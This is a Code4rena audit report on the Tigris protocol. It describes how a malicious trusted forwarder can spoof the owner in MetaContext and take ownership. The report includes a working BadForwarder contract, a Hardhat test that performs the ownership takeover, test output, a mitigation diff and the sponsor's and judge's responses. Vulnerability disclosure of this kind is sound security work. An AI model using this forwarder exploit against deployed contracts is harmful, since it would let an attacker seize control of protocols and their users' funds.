A malicious forwarder can replace the owner of MetaContext

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/utils/MetaContext.sol#L6

Vulnerability details

Impact

The origin owner will not be able to block attacks by a malicious forwarder.
Contracts inherited from MetaContext may lose owner rights.

Because MetaContext is a fundamental contract, and has been inherited by many important contracts(StableToken, StableVault, Position, Trading, GovNFT, etc), its vulnerability may have a great impact.

Proof of Concept

The owner can add any forwarder to MetaContext.

A malicious forwarder may be added by owner if:

• The owner is accidentally or tricked into trusting a forwarder with a backdoor
• The owner trusted an upgradable forwarder contract, and the forwarder upgrades to a malicious contract

The malicious forwarder would at first time call transferOwnership() as the owner to get the ownership, so that no one can block its subsequent attacks.

Here is an example of this attack:

diff --git a/contracts/mock/BadForwarder.sol b/contracts/mock/BadForwarder.sol
new file mode 100644
index 0000000..4b3bb73
--- /dev/null
+++ b/contracts/mock/BadForwarder.sol
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract BadForwarder {
+    address public immutable owner;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function execute(address to, bytes calldata data, address role) public payable returns (bool, bytes memory) {
+        require(msg.sender == owner);
+        (bool success, bytes memory returndata) = to.call{value: msg.value}(
+            abi.encodePacked(data, role)
+        );
+        return (success, returndata);
+    }
+}
diff --git a/test/08.MetaContext.js b/test/08.MetaContext.js
index 46d91e2..3f6505a 100644
--- a/test/08.MetaContext.js
+++ b/test/08.MetaContext.js
@@ -19,6 +19,44 @@ describe("MetaContext", function () {
     await metacontexttest.connect(owner).setTrustedForwarder(forwarder.address, true);
   });
 
+  it.only("Malicious forwarder can replace owner", async function() {
+    const hacker = user;
+    // deploy a forwarder in proxy mode
+    let proxy = await deployments.deploy('NewForwarder', {
+        contract: 'Forwarder',
+        from: hacker.address,
+        proxy: {
+          proxyContract: "OpenZeppelinTransparentProxy",
+        }
+    });
+
+    // new forwarder is trusted
+    await metacontexttest.connect(owner).setTrustedForwarder(proxy.address, true);
+    expect(await metacontexttest.isTrustedForwarder(proxy.address)).to.be.true;
+
+    // upgrade new forwarder to BadForwarder
+    proxy = await deployments.deploy('NewForwarder', {
+        contract: 'BadForwarder',
+        from: hacker.address,
+        proxy: {
+          proxyContract: "OpenZeppelinTransparentProxy",
+        }
+    });
+    const badForwarder = (await ethers.getContractFactory("BadForwarder")).attach(proxy.address);
+
+    // check state before attack
+    expect(await metacontexttest.owner()).to.eq(owner.address);
+    expect(await metacontexttest.owner()).to.not.eq(hacker.address);
+
+    //!! attack: replace owner
+    const data = await metacontexttest.interface.encodeFunctionData("transferOwnership", [hacker.address]);
+    await badForwarder.connect(hacker).execute(metacontexttest.address, data, owner.address);
+
+    // hacker is owner now
+    expect(await metacontexttest.owner()).to.not.eq(owner.address);
+    expect(await metacontexttest.owner()).to.eq(hacker.address);
+  });
+
   describe("MetaContext", function () {
     it("Should have Forwarder as a trusted forwarder", async function () {
       expect(await metacontexttest.isTrustedForwarder(forwarder.address)).to.equal(true);

Test output:

  MetaContext
    ✓ Malicious forwarder can replace owner

  1 passing (3s)

Tools Used

VS Code

Recommended Mitigation Steps

The forwarder should be prohibited from acting as the owner:

diff --git a/contracts/utils/MetaContext.sol b/contracts/utils/MetaContext.sol
index d011b7d..afa9b82 100644
--- a/contracts/utils/MetaContext.sol
+++ b/contracts/utils/MetaContext.sol
@@ -21,6 +21,7 @@ contract MetaContext is Ownable {
             assembly {
                 sender := shr(96, calldataload(sub(calldatasize(), 20)))
             }
+            require(owner() != sender, "MetaContext: forward owner");
         } else {
             return super._msgSender();
         }

[TriHaz]

We are aware of the centralization risks, initially, all contracts will have a multi-sig as owner to prevent a sole owner, later on a DAO could be the owner.

[c4-sponsor]

TriHaz marked the issue as sponsor acknowledged

[c4-judge]

GalloDaSballo marked the issue as duplicate of #377

[c4-judge]

GalloDaSballo marked the issue as satisfactory